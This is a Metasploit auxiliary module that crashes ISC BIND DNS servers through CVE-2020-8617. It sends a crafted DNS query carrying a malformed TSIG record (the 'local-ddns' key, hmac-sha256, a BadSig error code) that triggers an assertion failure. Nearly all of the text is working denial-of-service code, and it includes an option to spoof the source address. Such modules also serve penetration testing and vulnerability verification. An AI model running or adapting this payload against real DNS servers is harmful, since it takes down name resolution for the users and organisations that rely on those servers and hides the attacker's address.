BIND TSIG Badtime Query Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Capture  
include Msf::Auxiliary::UDPScanner  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'BIND TSIG Badtime Query Denial of Service',  
'Description' => %q{  
A logic error in code which checks TSIG validity can be used to  
trigger an assertion failure in tsig.c.  
},  
'Author' => [  
'Tobias Klein', # Research and Original PoC  
'Shuto Imai', # msf module author  
],  
'References' => [  
['CVE', '2020-8617'],  
['URL', 'https://gitlab.isc.org/isc-projects/bind9/-/issues/1703'],  
['URL', 'https://www.trapkit.de/advisories/TKADV2020-002.txt']  
],  
'DisclosureDate' => '2020-05-19',  
'License' => MSF_LICENSE,  
'DefaultOptions' => { 'ScannerRecvWindow' => 0 },  
'Notes' => {  
'Stability' => [CRASH_SERVICE_DOWN],  
'SideEffects' => [],  
'Reliability' => []  
}  
)  
)  
  
register_options([  
Opt::RPORT(53),  
OptAddress.new('SRC_ADDR', [false, 'Source address to spoof']),  
])  
  
deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')  
end  
  
def scan_host(ip)  
print_status("Sending packet to #{ip}")  
if datastore['SRC_ADDR']  
scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])  
else  
scanner_send(payload, ip, rport)  
end  
end  
  
def payload  
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65  
query << "\x00\x00" # Flags: 0x0000 Standard query  
query << "\x00\x01" # Questions: 1  
query << "\x00\x00" # Answer RRs: 0  
query << "\x00\x00" # Authority RRs: 0  
query << "\x00\x01" # Additional RRs: 1  
  
# Domain Name  
query << get_domain # Random DNS Name  
query << "\x00" # [End of name]  
query << "\x00\x01" # Type: A (Host Address) (1)  
query << "\x00\x01" # Class: IN (0x0001)  
  
# Additional records. Name  
query << "\x0alocal-ddns"  
query << "\x00"  
  
query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)  
query << "\x00\xff" # Class: ANY (0x00ff)  
query << "\x00\x00\x00\x00" # Time to live: 0  
query << "\x00\x1d" # Data length: 29  
  
# Algorithm Name  
query << "\x0bhmac-sha256" # The algorithm for local-ddns is hmac-sha256  
query << "\x00"  
  
# Rest of TSIG  
query << "\x00\x00\x00\x00\x00\x00" # Time Signed: Jan 1, 1970 00:00:00.000000000 UTC  
query << "\x00\x00" # Fudge: 0  
query << "\x00\x00" # MAC Size: 0  
query << "\x00\x00" # Original Id: 0  
query << "\x00\x10" # Error: BadSig (16)  
query << "\x00\x00" # Other len: 0  
end  
  
def get_domain  
domain = "\x06#{Rex::Text.rand_text_alphanumeric(6)}"  
org = "\x03#{Rex::Text.rand_text_alphanumeric(3)}"  
domain + org  
end  
  
end  
`